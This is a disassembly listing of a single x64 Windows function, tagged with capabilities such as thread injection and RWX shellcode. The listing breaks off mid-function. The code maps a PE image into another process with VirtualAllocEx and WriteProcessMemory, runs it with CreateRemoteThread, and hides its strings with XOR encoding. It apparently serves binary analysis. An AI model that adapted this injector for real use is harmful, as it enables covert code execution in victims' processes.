Function at 0x14005e6c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x650
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400f0080]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
mov eax, 0x5a4d
mov qword [rbp + 0x18], rdx
mov rsi, rdx
mov rdi, rcx
movabs r14, 0xaa884bcf0a999e25
movabs rbx, 0x9961fb0ef66d9c26
cmp word [rdx], ax
je 0x14005e791
movabs rax, 0x8aec22a36beff06c
lea rcx, [rbp + 0x360]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x9961fb049301f540
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x360]
mov qword [rbp + 0x328], rax
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x360], xmm0
call fcn.14005e660
jmp 0x1400607d2
movsxd r13, dword [rdx + 0x3c]
mov eax, 0x8664
add r13, rsi
mov qword [rbp + 0x360], r13
cmp word [r13 + 4], ax
je 0x14005e885
movabs rax, 0x8aec22a36beff06c
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
movabs rsi, 0x9c46ec4c523eaad0
mov rax, qword [rbp]
movabs r15, 0x1b8a5aad14f0cfe7
mov qword [rbp + 0x320], rax
movabs rax, 0xf4139468820cf056
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x1b8a5aad14f0cfed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
jmp 0x1400607d2
movabs rax, 0xa0e324ef6ff5f763
lea rcx, [rbp + 0xa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x3c8], rax
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.14005e660
mov r8d, dword [r13 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
mov r12, rax
test rax, rax
jne 0x14005ead1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs r13, 0x707c16242e8002a
movabs rax, 0xdaa83faa6debff71
mov qword [rbp], rax
movabs rax, 0xf441887d930ef354
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x77eb7ad4669fa282
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0xf2298538335dc5bc
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
movabs rcx, 0x3a36275057547e84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x1e65a8af0bccceb9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x227ff1426b906502
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x1ed55c91c67c2063
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x3e01cdc362ada899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x1ed55c91c67c2a3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x320]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqu ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x320], ymm1
mov qword [rbp + 0x398], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x340], ymm1
jmp 0x1400607ca
xor r15d, r15d
lea rax, [rbp + 0x30c]
mov dword [rbp + 0x30c], r15d
mov rdx, r12
mov r8d, dword [r13 + 0x50]
mov rcx, rdi
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp + 0x280], rax
mov r8, rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp + 0x288], rax
mov rcx, rdi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], 1
mov qword [rbp + 0x2b8], 1
mov qword [rbp + 0x298], r12
mov qword [rbp + 0x2b0], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005ec6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs rax, 0xd8ff6bbb2df7ff66
mov qword [rbp], rax
movabs rax, 0xfc0d9268d608e84f
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x3bf83fc97595a7c7
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0x9c46ec460a1bd2e0
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
movzx esi, word [r13 + 0x14]
add rsi, 0x2c
cmp word [r13 + 6], r15w
je 0x14005ecc4
add rsi, r13
mov eax, dword [rsi - 4]
test eax, eax
je 0x14005ecb3
mov r8d, dword [rsi]
mov r9d, eax
mov edx, dword [rsi - 8]
mov rcx, rdi
add r8, qword [rbp + 0x18]
add rdx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005eec1
movzx eax, word [r13 + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jne 0x14005ec82
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rdi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x20], rax
test rax, rax
jne 0x14005efbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs r13, 0x707c16242e8002a
movabs rax, 0xdaa83faa6debff71
mov qword [rbp], rax
movabs rax, 0xf441887d930ef354
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x7aaa3dc37d80bf86
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0xf32f982d3151c6bc
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
movabs rcx, 0x3a36275057547e84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x5a64a1aa03cb88f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x7f37e14b3a8d280a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x1ed55c91c676721e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x3e01cdc362ada899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x1ed55c91c67c2a3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x320]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqu ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x320], ymm1
mov qword [rbp + 0x398], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x340], ymm1
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs rax, 0xcbe56bbb2df7ff66
mov qword [rbp], rax
movabs rax, 0xf6088f6d931ebc56
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x63af229d34cabc89
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0x9c46ec4c523eaada
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
xor esi, esi
lea r8, [rbp + 0x280]
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov rcx, rdi
lea r9d, [rsi + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005f0f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs rax, 0xd8ff6bbb2df7ff66
mov qword [rbp], rax
movabs rax, 0xe9119a63d608e84f
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x43af229d3497a18e
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0x9c46ec4c523eaada
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0x20]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x18], rax
test rax, rax
jne 0x14005f2b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs r13, 0x707c16242e8002a
movabs rax, 0xd9a832bd65f4fb68
mov qword [rbp], rax
movabs rax, 0xfc05946d9a01f94e
mov rcx, qword [rbp]
mov qword [rbp + 0x360], rcx
mov qword [rbp], rax
movabs rax, 0x6feb39c2789caec7
mov rcx, qword [rbp]
mov qword [rbp + 0x368], rcx
mov qword [rbp], rax
movabs rax, 0xf02f8d2a7250c5b9
mov rcx, qword [rbp]
mov qword [rbp + 0x370], rcx
lea rcx, [rbp + 0x360]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x1e28b5a64a8dccfc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x707c1681acd781a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x3e01cdc362ada899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x380]
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
mov qword [rbp + 0x348], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmmword [rbp + 0x380], xmm2
vzeroupper
call fcn.14005e660
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0x20]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
mov r9d, 0x1000
mov qword [rsp + 0x20], rsi
lea r8, [0x140060800]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14005f401
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r15, 0x1b8a5aad14f0cfe7
movabs rsi, 0x9c46ec4c523eaad0
mov edx, eax
movabs rax, 0xd8ff6bbb2df7ff66
mov qword [rbp], rax
movabs rax, 0xf504937dd608e84f
mov rcx, qword [rbp]
mov qword [rbp + 0x320], rcx
mov qword [rbp], rax
movabs rax, 0x63ba7ac8709fac8b
mov rcx, qword [rbp]
mov qword [rbp + 0x328], rcx
mov qword [rbp], rax
movabs rax, 0x9c46ec4c5234f2f5
mov rcx, qword [rbp]
mov qword [rbp + 0x330], rcx
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vzeroupper
call fcn.14005e660
mov rdx, r12
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0x20]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0x18]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400607d2
movabs rax, 0xeea82faa7ae9ff68
lea rcx, [rbp + 0x180]
mov qword [rbp], rax
movabs rsi, 0x9c46ec4c523eaad0
mov rax, qword [rbp]
movabs r15, 0x1b8a5aad14f0cfe7
mov qword [rbp + 0x180], rax
mov rdx, r12
movabs rax, 0xe944db7a974dd06a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x1b8a5aad14f0cfed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
vmovdqu ymm0, ymmword [rbp + 0x4e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
vzeroupper
call fcn.14005e660
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x1a0]
movabs rax, 0x8aef25a67ae9ff68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb9159a2e990bf24f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x1b8a5aad14fabfc2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vzeroupper
call fcn.14005e660
movabs rax, 0xc5eb6ba366fcf676
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xe944db7a974df942
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x1b8a5aad14f0cfed
mov qword [rbp], rax
mov rax, qword [rbp]
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call fcn.14005e660
movabs rax, 0xc6e42aef6bedff61
lea rcx, [rbp + 0xb0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x996b9f6b820cff49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xb0]
mov qword [rbp + 0x3b8], rax
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xb0], xmm0
call fcn.14005e660
mov r9, qword [rbp + 0x18]
xor eax, eax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], eax
xor edx, edx
mov rax, qword [rbp + 0x20]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14005f79b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movabs rax, 0xc9a82fae6febf671
mov qword [rbp], rax
movabs rax, 0xb90f9467820cf954
mov rcx, qword [rbp]
mov qword [rbp + 0x40], rcx
mov qword [rbp], rax
movabs rax, 0x2baa3ec87899ae81
mov rcx, qword [rbp]
mov qword [rbp + 0x48], rcx
mov qword [rbp], rax
movabs rax, 0x9c46ec4c58668fa8
mov rcx, qword [rbp]
mov qword [rbp + 0x50], rcx
lea rcx, [rbp + 0x40]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
jmp 0x14005f3b3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x240]
movabs rax, 0xc9a82fae6febf671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xf8419f6b820cf954
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x6caa76dd31d0f593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xfa668b223b4ac3b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x4c74b9a6108ddaf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x707c1686cc62e44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x3e01cdc362ada899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x707c16242e8002a
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x260]
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
mov qword [rbp + 0x408], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqa xmmword [rbp + 0x260], xmm2
vzeroupper
call fcn.14005e660
nop dword [rax + rax]
xor r12d, r12d
lea rdx, [rbp + 0x300]
mov rcx, rdi
mov dword [rbp + 0x300], r12d
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x300], 0x103
jne 0x140060705
mov rdx, qword [rbp + 0x20]
lea r9d, [r12 + 0x40]
xorps xmm0, xmm0
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2c0]
mov rcx, rdi
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r12, qword [rbp + 0x2e0]
cmp r12, 0x404040
je 0x14006063f
cmp r12, 0x505050
jne 0x14005fab1
movabs rax, 0x90cf058644cbdf72
movabs rcx, 0x707c16242e8002a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xf0158b6b9515d906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x74fa2ad867d0a188
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xf92a852d341edea2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x3e01cdc362a789fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x3e01cdc362ada899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x200]
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x220]
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
mov qword [rbp + 0x448], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqa xmmword [rbp + 0x220], xmm2
vzeroupper
call fcn.14005e660
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test r12, r12
je 0x14005f8f0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp], rax
mov r12, rax
test rax, rax
jne 0x14005fbac
movabs rax, 0xdea82ea368f8f070
lea rcx, [rbp + 0x320]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xf80294629a0cbc49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x69e537c879d0aa93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0x9c46ec4c523ea0a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], r14
